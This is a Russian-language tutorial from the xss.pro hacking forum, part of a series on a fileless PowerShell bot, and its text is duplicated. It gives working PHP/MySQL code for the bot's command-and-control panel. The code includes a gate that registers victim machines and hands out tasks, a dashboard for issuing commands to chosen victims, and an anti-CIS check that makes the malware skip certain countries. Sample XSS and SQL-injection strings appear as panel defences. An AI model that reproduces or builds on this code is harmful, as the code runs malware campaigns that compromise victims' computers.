Категорически приветствую, XSS'овцы, спустя две недели продолжаю пилотный цикл статей по созданию безфайлового бота на повершелле. В прошлых статьях для получения команд мы использовали XML-подобные конструкции хранящиеся в текстовике на диске. В этой части мы напишем хоть простую, но всё же полноценную админ панель для нашего бота.
В этой статье мы рассмотрим: Сам бэкенд на PHP, Фронт-енд на bootstrap'e4, Создание и структура БД MySQL, Разбор API для работы с БД. Их плюсы и минусы (PDO и MySQLi), Защиту от XSS и SQL-инъекций. Теперь пора бы и делом заняться.
Для начала подправим наш код бота.
Первым делом мы добавим защиту от СНГ стран. Получим текущий язык системы и региональные параметры, установленные в операционной системе используя функцию Get-Culture а после циклом проверим код стран и язык системы, и если обнаружится снг код, то просто выйдем. Сама функция выглядит так:
Ещё нам нужно немного переделать и дополнить мэйн код. Создадим цикл While($true) для того, чтобы делать запрос на сервер каждые 60 секунд (можно увеличить или уменьшить, по желанию). Добавим переменную, содержащую домен нашей панели, далее получим системные данные: GUID ПК, имя юзверя, версию винды и её разрядность. Далее отправим гет запрос с этими данными на гейт. Этим же запросом получаем JSON инструкции задач, обработаем все JSON-инструкции (ищем по регулярке) циклом, и если в js-тэге "targetVictims" будет указан наш гуид машины, или тег ALL, то попробуем выполнить задачу, после чего отправим запрос о успешном выполнении таска. Мэйн теперь выглядит так:
(Вызов anti-cis сделан до главного кода, дабы не делать запрос на сервер, если это СНГ машина)
Можем перейти к главному.
Панель.
Так как у меня плохо (я бы даже сказал ужасно) с вёрсткой, в качестве фронтенда мы возьмём публичный bootstrap4 шаблон Target-Free-Bootstrap-Admin-Template прямиком с гитхаба
Первым делом создаём файл header.php, с шапкой нашей панельки. В PHP код добавим простую функцию writeCardImage которая принимает аргументы $desc (описание), $count (число), $colmd (число, по дефолту 3), эта функция будет создавать новый блок такого вида:
В таких блоках мы будем хранить инфу о текущем состоянии ботов (Количество всех ботов, кол*во ботов которые онлайн и офлайн).
в хеде добавляем ссылки на все css стили, в body подключаем все JS файлы. На этом с хедером, пока что всё.
Создаём новый каталог с именем app, в котором будут находиться вспомогательные файлы, конфиги, и т.д. В этом каталоге создаём config.php. Файл содержащий данные для подключения к базе данных, а так же данные для входа в панель (юзернейм и пароль в MD5):
Прежде чем перейти к коду гейта и дэшборда, мы отвлекёмся на создание БД и возможные уязвимости в панели.
Создание и структура Базы Данных.
Работать будем с MySQL и phpMyAdmin.
Боты.
Всего в таблице будет 2 таблицы - информация о ботах и задачи для них. Создаём новую таблицу с именем bots, которая содержит 7 полей. Тип каждого varchar, сравнение utf8_general_ci. В первом поле создадим GUID компьютера жертвы (для того, чтобы создавать отдельные задания с конкретными целями), длина значения 32. Стоит упомянуть, что все поля будут содержать минимально возможное количество символов, об этом будет чуть позже. Следующие поле username, содержащие имя текущего пользователя, 30 символов. Третье поле os содержит версию Windows и её разрядность, 18 символов. Следом поле ip, 15 символов. Пятое поле firstOnline - дата первого запуска бота в формате число.месяц.год час.минута.секунда, 21 символ. Похожее поле lastOnline, но уже дата последнего выхода бота в сеть, так-же 21 символ. И последнее поле в этой таблице - lastExTask, имя последнего выполненного задания, 20 символов.
Таски.
Вторая таблица - tasks содержит 6 полей: taskName (имя задания, varchar, 20 символов), currentEx (текущие количество ПК, выполнивших таск, int, 255), maxExCount (максимальное кол-во ПК выполнивших заданий, int, 255), targetVictims (содержит guid(ы) целевых машин или тег ALL, для всех ботов, varchar, 32), command (команда в формате XML, text, без ограничений по символам), последнее поле taskStatus (статус задачи, 1 - если задача выполнена, 0 - в противоположном случае, int, 1)
С структурой и созданием БД закончим, перейдём к более интересному вопросу: Какой API использовать?
Что использовать: PDO или MySQLi? Плюсы и минусы обоих апи.
При работе с базами данных в PHP, у нас есть два варианта для подключения к бд: MySQLi и PDO. Рассмотрим основные преимущества и недостатки обоих вариантов.
Поддержка формата баз данных. PDO поддерживает 12 типов бд (MS SQL, Oracle, MySQL, и так далее), в то время, как с mysqli можно работать только с MySQL. +1 PDO.
И PDO, и MySQLi имеют поддержку объектно-ориентированного API, но MySQLi помимо этого имеет процедурный API, который упрощает понимание синтаксиса (гораздо легче даётся новичкам). +1 Mysqli.
Безопасность. Обе библиотеки обеспечивают защиту от SQL-инъекций, если у кодера руки растут с нужного места, конечно. Но что использовать безопасней? У mysqli есть mysqli_real_escape_string(), который экранирует входящую строку, но при этом все кавычки вам придётся добавлять самим, не очень удобно, да? В пдо всё немного попроще, имеется метод PDO::quote(), который помимо экранирования строки самостоятельно помещает ей между кавычек. Рассмотрим пример обработки строки у обоих библиотек.
Входящая строка: " '; DELETE FROM users; /* ".
Результат mysqli, после обработки:
PDO:
Небольшой итог:
PDO, как по мне вариант гораздо лучше (и привычней)), одна лишь поддержка 12 типов баз данных перекрывает все минусы и неудобства. Со стороны безопасности фаворитов нет, т.к в осном это зависит лишь от опыта кодера. Поэтому в этой статье работать мы будем с PDO.
Вернёмся к созданию панели.
Для того, чтобы принимать новых ботов, нам понадобиться гейт (Простая страница заносящая данные о боте в бд и выдачи тасков).
Первым делом создаём PDO подключение к бд, далее делаем запрос к бд, для получения инструкций (статус которых равен нулю(незавершенны)), проходимся по каждой и энкодим все инструкции в JSON-формат и выводим весь JSON текст:
Далее проверяем, является ли запрос к гейту GET запросом, создаём переменные $exTime - время запроса к гейту, $guid - гет параметр, содержит гуид ПК, $userIP - IP адресс, откуда поступил запрос, $task - имя выполненного таска (если запрос не первый), $status - статус таска.
Далее проверяем, есть ли в бд запись с полученным GUID'ом, если есть то обновляем время последнего онлайна и IP (на случай, если у жертвы динамический айпишник), если записей в БД нет, тогда бот новый, соответсвенно создаём новую запись с его данными. Код:
После этого получаем задание с именем переданным в гет запросе, проверяем, является ли статус задание успешным, и если это так, обновляем последние выполненное задание бота, проверяем, равно ли текущие кол-во запусков максимальному, если равен, тогда обновляем статус задания, иначе обновляем кол-во текущих запусков:
С гейтом всё, переходим к главной странице.
Создаём файл dashboard.php, подключаем все библиотеки, стили, хедер, конфиг, так-же создаём коннект к бд. Получаем список всех ботов и все задания из базы, сохраняем их в отдельные переменные:
Обработаем запросы, если в пост запросе содержится поле taskName , добавляем новую запись в таблицу tasks:
Если в гет запросе присутствует переменная delete_taskname, удаляем задачу с бд, если в запросе передаётся action=logout - очищаем сессию и редиректим на login.php:
В HTML коде добавляем 3 блока, которые будут выводить информацию о онлайне ботов:
Теперь нам нужно вывести информацию о ботах, но перед этим стоит упомянуть о возможных XSS уязвимостях и методах защиты от них.
Защита от XSS.
На этом этапе затронем методы защиты от межсайтового скриптинга.
В большинстве случаях хранимые ксски хранятся в таблицах бд, которые выводят информацию на страницу.
Первый, и пожалуй, самый простой способ защита от stored-xss - ограничения символов хранимых в таблице. На этапе создания таблицы bots для каждого столбца мы установили ограничения.
Где самое большое, допустимое количество символов у столбца - 32 в guid и 30 в username.
Эти данные передаются в GET запросе, вместо данных о имени юзера можно передать строку вида <script src="http://site.tk/s.js"> или <script>alert("xss!");</script>, которые сохраняться в бд, и после того, как мы залогинемся в админке этот код будет выполнен.
Для этого мы и используем ограничение символов. Длина возможного, вредоносного кода ~40 символов, но т.к строка username сохранит лишь первые 30 символов, поэтому вредоносный код выполнен не будет.
Предотврощаем XSS при помощи HTML Purifier.
Фильтрация данных, выводимых на страницу является самой важной частью защиты от межсайтового скриптинга. Большинство кодеров, в качестве обработки строк использует функции htmlspecialchars() и/или strip_tags() с вайт листом доступных символов. Так же можно использовать связку нескольких функций, обрабатывая каждую строку, пример:
Но в нашей панели мы будем использовать более продвинутое решение - библиотеку HTML Purifier. Что же делает эта библиотека?
Она очищает любой html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты внутри тегов. Минусом является то, что мы сами должны определить, какие атрибуты будут недопустимы. По умолчанию библиотека также не содержит всех «стандартных атрибутов», таких как contenteditable, поэтому нам также необходимо их добавить самостоятельно.
Рассмотрим всё на примере:
Исходный код:
После обработки:
Как видим, JS код был отфильтрован. Подключим эту библиотеку к нашей панели. Распакуем архив с библиотекой в папку app:
В config.php подключаем файл HTMLPurifier.auto.php а так же создадим простую конфигурацию:
Для вывода информации из бд мы будем использовать функцию purify. Вернёмся к дэшборду.
Для вывода информации мы будем использовать таблицу, а так-же воспользуемся интересным дополнением к JQuery - DataTables.
DataTables - это плагин для библиотеки jQuery. Это очень гибкий инструмент, построенный на основе прогрессивного улучшения, который добавляет следующие функции в любую HTML-таблицу: нумерация страниц и выбор кол-ва выводимых столбцов, мгновенный поиск (фильтр по тексту).
Создадим таблицу, которая выводит данные о ботах:
Теперь панель выглядит примерно так:
Подобную же таблицу создаём для тасков (фулл код будем в аттаче к статье):
Для добавления нового задания используется Modal Form:
На этом с главной странице закончим. Перейдём к авторизации.
Тут решил сильно не заморачиваться накидал простую форму с таким кодом:
В остальных php файлах так-же добавляем проверку на наличие сессии. На этом всё.
Итог.
В этой части статьи мы рассмотрели пример создания простой админ-панели на PHP, так-же рассмотрели разные способы защиты от популярных уязвимостей. Возможно функционал панели немного скудноват, можно было добавить пару чартов с статистикой по ботам, или другие фичи, но конкретно эта панель являеться лишь примером. Все файлы прикреплены к посту, пароль местный.
(c) V1rtualGh0st специально для xss.pro <3.
Первая часть - https://xss.pro/threads/37391
Вторая часть - https://xss.pro/threads/45238/
В этой статье мы рассмотрим: Сам бэкенд на PHP, Фронт-енд на bootstrap'e4, Создание и структура БД MySQL, Разбор API для работы с БД. Их плюсы и минусы (PDO и MySQLi), Защиту от XSS и SQL-инъекций. Теперь пора бы и делом заняться.
Для начала подправим наш код бота.
Первым делом мы добавим защиту от СНГ стран. Получим текущий язык системы и региональные параметры, установленные в операционной системе используя функцию Get-Culture а после циклом проверим код стран и язык системы, и если обнаружится снг код, то просто выйдем. Сама функция выглядит так:
PHP:
function anti-cis(){
$culture = (Get-Culture).Name
$cis = @('az', 'am', 'by', 'ge', 'kz', 'kg', 'md', 'ru', 'tj', 'tm', 'uz', 'ua')
foreach($code in $cis){
if($culture.Contains($code)){
Write-Host "CIS DETECTED"
exit
}
}
}
Ещё нам нужно немного переделать и дополнить мэйн код. Создадим цикл While($true) для того, чтобы делать запрос на сервер каждые 60 секунд (можно увеличить или уменьшить, по желанию). Добавим переменную, содержащую домен нашей панели, далее получим системные данные: GUID ПК, имя юзверя, версию винды и её разрядность. Далее отправим гет запрос с этими данными на гейт. Этим же запросом получаем JSON инструкции задач, обработаем все JSON-инструкции (ищем по регулярке) циклом, и если в js-тэге "targetVictims" будет указан наш гуид машины, или тег ALL, то попробуем выполнить задачу, после чего отправим запрос о успешном выполнении таска. Мэйн теперь выглядит так:
(Вызов anti-cis сделан до главного кода, дабы не делать запрос на сервер, если это СНГ машина)
Можем перейти к главному.
Панель.
Так как у меня плохо (я бы даже сказал ужасно) с вёрсткой, в качестве фронтенда мы возьмём публичный bootstrap4 шаблон Target-Free-Bootstrap-Admin-Template прямиком с гитхаба
Первым делом создаём файл header.php, с шапкой нашей панельки. В PHP код добавим простую функцию writeCardImage которая принимает аргументы $desc (описание), $count (число), $colmd (число, по дефолту 3), эта функция будет создавать новый блок такого вида:
В таких блоках мы будем хранить инфу о текущем состоянии ботов (Количество всех ботов, кол*во ботов которые онлайн и офлайн).
в хеде добавляем ссылки на все css стили, в body подключаем все JS файлы. На этом с хедером, пока что всё.
Создаём новый каталог с именем app, в котором будут находиться вспомогательные файлы, конфиги, и т.д. В этом каталоге создаём config.php. Файл содержащий данные для подключения к базе данных, а так же данные для входа в панель (юзернейм и пароль в MD5):
PHP:
<?php
$config = array("db_host" => "localhost",
"db_user" => "root",
"db_pass" => "",
"db_name" => "powerbot", // DB NAME
"usrname" => "admin", // Admin Login
"usrpass" => "21232f297a57a5a743894a0e4a801fc3"); // Hashed pass
?>
Прежде чем перейти к коду гейта и дэшборда, мы отвлекёмся на создание БД и возможные уязвимости в панели.
Создание и структура Базы Данных.
Работать будем с MySQL и phpMyAdmin.
Боты.
Всего в таблице будет 2 таблицы - информация о ботах и задачи для них. Создаём новую таблицу с именем bots, которая содержит 7 полей. Тип каждого varchar, сравнение utf8_general_ci. В первом поле создадим GUID компьютера жертвы (для того, чтобы создавать отдельные задания с конкретными целями), длина значения 32. Стоит упомянуть, что все поля будут содержать минимально возможное количество символов, об этом будет чуть позже. Следующие поле username, содержащие имя текущего пользователя, 30 символов. Третье поле os содержит версию Windows и её разрядность, 18 символов. Следом поле ip, 15 символов. Пятое поле firstOnline - дата первого запуска бота в формате число.месяц.год час.минута.секунда, 21 символ. Похожее поле lastOnline, но уже дата последнего выхода бота в сеть, так-же 21 символ. И последнее поле в этой таблице - lastExTask, имя последнего выполненного задания, 20 символов.
Таски.
Вторая таблица - tasks содержит 6 полей: taskName (имя задания, varchar, 20 символов), currentEx (текущие количество ПК, выполнивших таск, int, 255), maxExCount (максимальное кол-во ПК выполнивших заданий, int, 255), targetVictims (содержит guid(ы) целевых машин или тег ALL, для всех ботов, varchar, 32), command (команда в формате XML, text, без ограничений по символам), последнее поле taskStatus (статус задачи, 1 - если задача выполнена, 0 - в противоположном случае, int, 1)
С структурой и созданием БД закончим, перейдём к более интересному вопросу: Какой API использовать?
Что использовать: PDO или MySQLi? Плюсы и минусы обоих апи.
При работе с базами данных в PHP, у нас есть два варианта для подключения к бд: MySQLi и PDO. Рассмотрим основные преимущества и недостатки обоих вариантов.
Поддержка формата баз данных. PDO поддерживает 12 типов бд (MS SQL, Oracle, MySQL, и так далее), в то время, как с mysqli можно работать только с MySQL. +1 PDO.
И PDO, и MySQLi имеют поддержку объектно-ориентированного API, но MySQLi помимо этого имеет процедурный API, который упрощает понимание синтаксиса (гораздо легче даётся новичкам). +1 Mysqli.
Безопасность. Обе библиотеки обеспечивают защиту от SQL-инъекций, если у кодера руки растут с нужного места, конечно. Но что использовать безопасней? У mysqli есть mysqli_real_escape_string(), который экранирует входящую строку, но при этом все кавычки вам придётся добавлять самим, не очень удобно, да? В пдо всё немного попроще, имеется метод PDO::quote(), который помимо экранирования строки самостоятельно помещает ей между кавычек. Рассмотрим пример обработки строки у обоих библиотек.
Входящая строка: " '; DELETE FROM users; /* ".
Результат mysqli, после обработки:
\'; DELETE FROM users; /*PDO:
'\'; DELETE FROM users; /*'Небольшой итог:
PDO, как по мне вариант гораздо лучше (и привычней)), одна лишь поддержка 12 типов баз данных перекрывает все минусы и неудобства. Со стороны безопасности фаворитов нет, т.к в осном это зависит лишь от опыта кодера. Поэтому в этой статье работать мы будем с PDO.
Вернёмся к созданию панели.
Для того, чтобы принимать новых ботов, нам понадобиться гейт (Простая страница заносящая данные о боте в бд и выдачи тасков).
Первым делом создаём PDO подключение к бд, далее делаем запрос к бд, для получения инструкций (статус которых равен нулю(незавершенны)), проходимся по каждой и энкодим все инструкции в JSON-формат и выводим весь JSON текст:
PHP:
require 'app/config.php';
$connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']); // PDO Connect
$resp = $connect->query("SELECT `taskName`, `targetVictims`, `command` FROM `tasks` WHERE `taskStatus` = '0'"); // Get tasks
$rows = $resp->fetchAll(PDO::FETCH_ASSOC);
$pageContent = "";
foreach($rows as $row) {
$row['command'] = htmlspecialchars($row['command'], ENT_QUOTES); // format command string
$pageContent .= json_encode($row); // encode to json
}
echo $pageContent;
Далее проверяем, является ли запрос к гейту GET запросом, создаём переменные $exTime - время запроса к гейту, $guid - гет параметр, содержит гуид ПК, $userIP - IP адресс, откуда поступил запрос, $task - имя выполненного таска (если запрос не первый), $status - статус таска.
Далее проверяем, есть ли в бд запись с полученным GUID'ом, если есть то обновляем время последнего онлайна и IP (на случай, если у жертвы динамический айпишник), если записей в БД нет, тогда бот новый, соответсвенно создаём новую запись с его данными. Код:
PHP:
if ($_SERVER['REQUEST_METHOD'] == "GET") {
$exTime = date("d.m.Y H:i:s"); // time
$guid = $connect->quote($_GET["guid"]);
$userIP = $connect->quote($_SERVER["SERVER_ADDR"]); // ip
$task = $connect->quote($_GET["taskName"]);
$status = $_GET["status"];
if(isset($guid)){ // if guid != nulled value
$resp = $connect->query("SELECT * FROM `bots` WHERE `guid` = $guid");
if($resp->fetch(PDO::FETCH_ASSOC) != 0){ // if user exists
//echo "user already exists";
$connect->query("UPDATE `bots` SET `lastOnline` = '$exTime' WHERE `guid` = $guid"); //update last online
$connect->query("UPDATE `bots` SET `ip` = $userIP WHERE `guid` = $guid");
}
else{
//echo "new bot";
$userName = $connect->quote($_GET["username"]);
$osName = $connect->quote($_GET["os"]);
//add new bot
$connect->query("INSERT INTO `bots` (`guid`, `username`, `os`, `ip`, `firstOnline`, `lastOnline`) VALUES ($guid, $userName, $osName, $userIP, '$exTime', '$exTime')");
}
}
После этого получаем задание с именем переданным в гет запросе, проверяем, является ли статус задание успешным, и если это так, обновляем последние выполненное задание бота, проверяем, равно ли текущие кол-во запусков максимальному, если равен, тогда обновляем статус задания, иначе обновляем кол-во текущих запусков:
PHP:
if(isset($task) and isset($status) and isset($guid)){
$taskInfo = $connect->query("SELECT * FROM `tasks` WHERE `taskName` = $task")->fetch(PDO::FETCH_ASSOC);
$taskName = $taskInfo["taskName"];
$crCounts = intval($taskInfo["currentEx"]);
$maxExCnt = intval($taskInfo["maxExCount"]);
$taskStatus = intval($taskInfo["taskStatus"]);
if ($status == "success") {
$connect->query("UPDATE `bots` SET `lastExTask` = $task WHERE `guid` = $guid");
if($crCounts == $maxExCnt){
if($taskStatus = 0) $connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
}
else{
$crCounts++;
$connect->query("UPDATE `tasks` SET `currentEx` = '$crCounts' WHERE `taskName` = $task");
if($crCounts == $maxExCnt){
$connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
}
}
}
}
С гейтом всё, переходим к главной странице.
Создаём файл dashboard.php, подключаем все библиотеки, стили, хедер, конфиг, так-же создаём коннект к бд. Получаем список всех ботов и все задания из базы, сохраняем их в отдельные переменные:
PHP:
require 'app/config.php';
$adminName = $config["usrname"];
require 'header.php';
require 'sidebar.php';
$connect = $connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']);
$bots = $connect->query("SELECT * FROM `bots`");
$tasks = $connect->query("SELECT * FROM `tasks`");
Обработаем запросы, если в пост запросе содержится поле taskName , добавляем новую запись в таблицу tasks:
PHP:
if(isset($_POST["taskName"])){
// formatting strings
$taskName = $connect->quote($_POST["taskName"]);
$maxEx = $connect->quote($_POST["maxEx"]);
$Victims = $connect->quote($_POST["targetVictims"]);
$command = $connect->quote($_POST["command"]);
//req to db
$connect->query("INSERT INTO `tasks` (`taskName`, `maxExCount`, `targetVictims`, `command`) VALUES ($taskName, $maxEx, $Victims, $command)");
//refresh page
echo "<script>location.replace('dashboard.php')</script>";
}
Если в гет запросе присутствует переменная delete_taskname, удаляем задачу с бд, если в запросе передаётся action=logout - очищаем сессию и редиректим на login.php:
PHP:
if(isset($_GET["delete_taskname"])){
$taskToDelete = $connect->quote($_GET["delete_taskname"]);
$connect->query("DELETE FROM `tasks` WHERE `taskName` = $taskToDelete");
echo "<script>location.replace('dashboard.php')</script>";
}
if(isset($_GET["action"])){
$action = $_GET["action"];
if($action == "logout"){
session_destroy();
echo "<script>location.replace('login.php')</script>";
}
}
В HTML коде добавляем 3 блока, которые будут выводить информацию о онлайне ботов:
Код:
<?
$allBots = $bots->rowCount();
writeCardImage('Total Bots', $allBots, 4); // All Bots
$date = date("d.m.Y");
$time = date("H:i");
$onlineBots = 0;
$lastOnline = $connect->query("SELECT `guid`, `lastOnline` FROM `bots`");
while ($bot = $lastOnline->fetch(PDO::FETCH_ASSOC)) {
if(strContains($bot["lastOnline"], $date)){
$botTime = explode(" ", $bot["lastOnline"]);
$last = explode(":", $botTime[1]);
$lastTime = $last[0].":".$last[1];
if($lastTime == $time || $last[0].":".($last[1] + 1) == $time){
$onlineBots++;
}
}
}
writeCardImage('Online Bots', $onlineBots, 4);
writeCardImage('Offline Bots', $allBots - $onlineBots, 4);
?>
Теперь нам нужно вывести информацию о ботах, но перед этим стоит упомянуть о возможных XSS уязвимостях и методах защиты от них.
Защита от XSS.
На этом этапе затронем методы защиты от межсайтового скриптинга.
В большинстве случаях хранимые ксски хранятся в таблицах бд, которые выводят информацию на страницу.
Первый, и пожалуй, самый простой способ защита от stored-xss - ограничения символов хранимых в таблице. На этапе создания таблицы bots для каждого столбца мы установили ограничения.
Где самое большое, допустимое количество символов у столбца - 32 в guid и 30 в username.
Эти данные передаются в GET запросе, вместо данных о имени юзера можно передать строку вида <script src="http://site.tk/s.js"> или <script>alert("xss!");</script>, которые сохраняться в бд, и после того, как мы залогинемся в админке этот код будет выполнен.
Для этого мы и используем ограничение символов. Длина возможного, вредоносного кода ~40 символов, но т.к строка username сохранит лишь первые 30 символов, поэтому вредоносный код выполнен не будет.
Предотврощаем XSS при помощи HTML Purifier.
Фильтрация данных, выводимых на страницу является самой важной частью защиты от межсайтового скриптинга. Большинство кодеров, в качестве обработки строк использует функции htmlspecialchars() и/или strip_tags() с вайт листом доступных символов. Так же можно использовать связку нескольких функций, обрабатывая каждую строку, пример:
PHP:
function checkParam($param)
{
$formatted = $param;
$formatted = trim($formatted);
$formatted = stripslashes($formatted);
$formatted = htmlspecialchars($formatted);
return $formatted;
}
Но в нашей панели мы будем использовать более продвинутое решение - библиотеку HTML Purifier. Что же делает эта библиотека?
Она очищает любой html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты внутри тегов. Минусом является то, что мы сами должны определить, какие атрибуты будут недопустимы. По умолчанию библиотека также не содержит всех «стандартных атрибутов», таких как contenteditable, поэтому нам также необходимо их добавить самостоятельно.
Рассмотрим всё на примере:
Исходный код:
HTML:
<p invalidAttribute="value">Test String <strike>strike</strike>:</p>
<script type="text/javascript">alert("xss.pro");</script>
HTML:
<p>Test String <span style="text-decoration:line-through;">strike</span>:</p>
Как видим, JS код был отфильтрован. Подключим эту библиотеку к нашей панели. Распакуем архив с библиотекой в папку app:
В config.php подключаем файл HTMLPurifier.auto.php а так же создадим простую конфигурацию:
PHP:
require 'HTMLPurifier.auto.php';
$HTMLPconfig = HTMLPurifier_Config::createDefault();
$HTMLPconfig->set('Attr.AllowedClasses',array('header'));
$HTMLPconfig->set('AutoFormat.AutoParagraph',true);
$HTMLPconfig->set('AutoFormat.RemoveEmpty',true);
$HTMLPconfig->set('HTML.Doctype','HTML 4.01 Strict');
$purifier = new HTMLPurifier($HTMLPconfig);
Для вывода информации из бд мы будем использовать функцию purify. Вернёмся к дэшборду.
Для вывода информации мы будем использовать таблицу, а так-же воспользуемся интересным дополнением к JQuery - DataTables.
DataTables - это плагин для библиотеки jQuery. Это очень гибкий инструмент, построенный на основе прогрессивного улучшения, который добавляет следующие функции в любую HTML-таблицу: нумерация страниц и выбор кол-ва выводимых столбцов, мгновенный поиск (фильтр по тексту).
Создадим таблицу, которая выводит данные о ботах:
PHP:
<div class="row">
<div class="col-md-12">
<!-- Advanced Tables -->
<div class="card">
<div class="card-action">
Bots List
</div>
<div class="card-content">
<div class="table-responsive">
<table class="table table-striped table-bordered table-hover" id="dataTables-example">
<thead>
<tr>
<th>GUID</th>
<th>Username \ IP</th>
<th>OS</th>
<th>Last Online</th>
<th>Last Task</th>
</tr>
</thead>
<tbody>
<?
while ($bot = $bots->fetch(PDO::FETCH_ASSOC)) {
echo "<tr>
<td>".$purifier->purify($bot["guid"])."</td>
<td class='center'>".$purifier->purify($bot["username"]." \ ".$bot["ip"])."</td>
<td>".$purifier->purify($bot["os"])."</td>
<td>".$purifier->purify($bot["lastOnline"])."</td>
<td>".$purifier->purify($bot["lastExTask"])."</td>
</tr>";
}
?>
</tbody>
</table>
</div>
</div>
</div>
<!--End Advanced Tables -->
</div>
</div>
Теперь панель выглядит примерно так:
Подобную же таблицу создаём для тасков (фулл код будем в аттаче к статье):
Для добавления нового задания используется Modal Form:
На этом с главной странице закончим. Перейдём к авторизации.
Тут решил сильно не заморачиваться накидал простую форму с таким кодом:
HTML:
<?php
session_start();
if(isset($_POST["user"]) && isset($_POST["pass"])){
require 'app/config.php';
$user = $_POST["user"];
$pass = $_POST["pass"];
if($user == $config["usrname"] && MD5($pass) == $config["usrpass"]){
$_SESSION["auth"] = true;
echo "<script>location.replace('dashboard.php');</script>";
}
}
if($_SESSION["auth"] == true){
echo "<script>location.replace('dashboard.php');</script>";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>PowerBot | Login</title>
<meta charset="utf-8" />
</head>
<body>
<form action="login.php" method="POST">
<label>Login: </label>
<input type="text" name="user">
<br>
<label>Passw: </label>
<input type="password" name="pass">
<br>
<button type="submit">Sign-in</button>
</form>
</body>
</html>
В остальных php файлах так-же добавляем проверку на наличие сессии. На этом всё.
Итог.
В этой части статьи мы рассмотрели пример создания простой админ-панели на PHP, так-же рассмотрели разные способы защиты от популярных уязвимостей. Возможно функционал панели немного скудноват, можно было добавить пару чартов с статистикой по ботам, или другие фичи, но конкретно эта панель являеться лишь примером. Все файлы прикреплены к посту, пароль местный.
(c) V1rtualGh0st специально для xss.pro <3.
Первая часть - https://xss.pro/threads/37391
Вторая часть - https://xss.pro/threads/45238/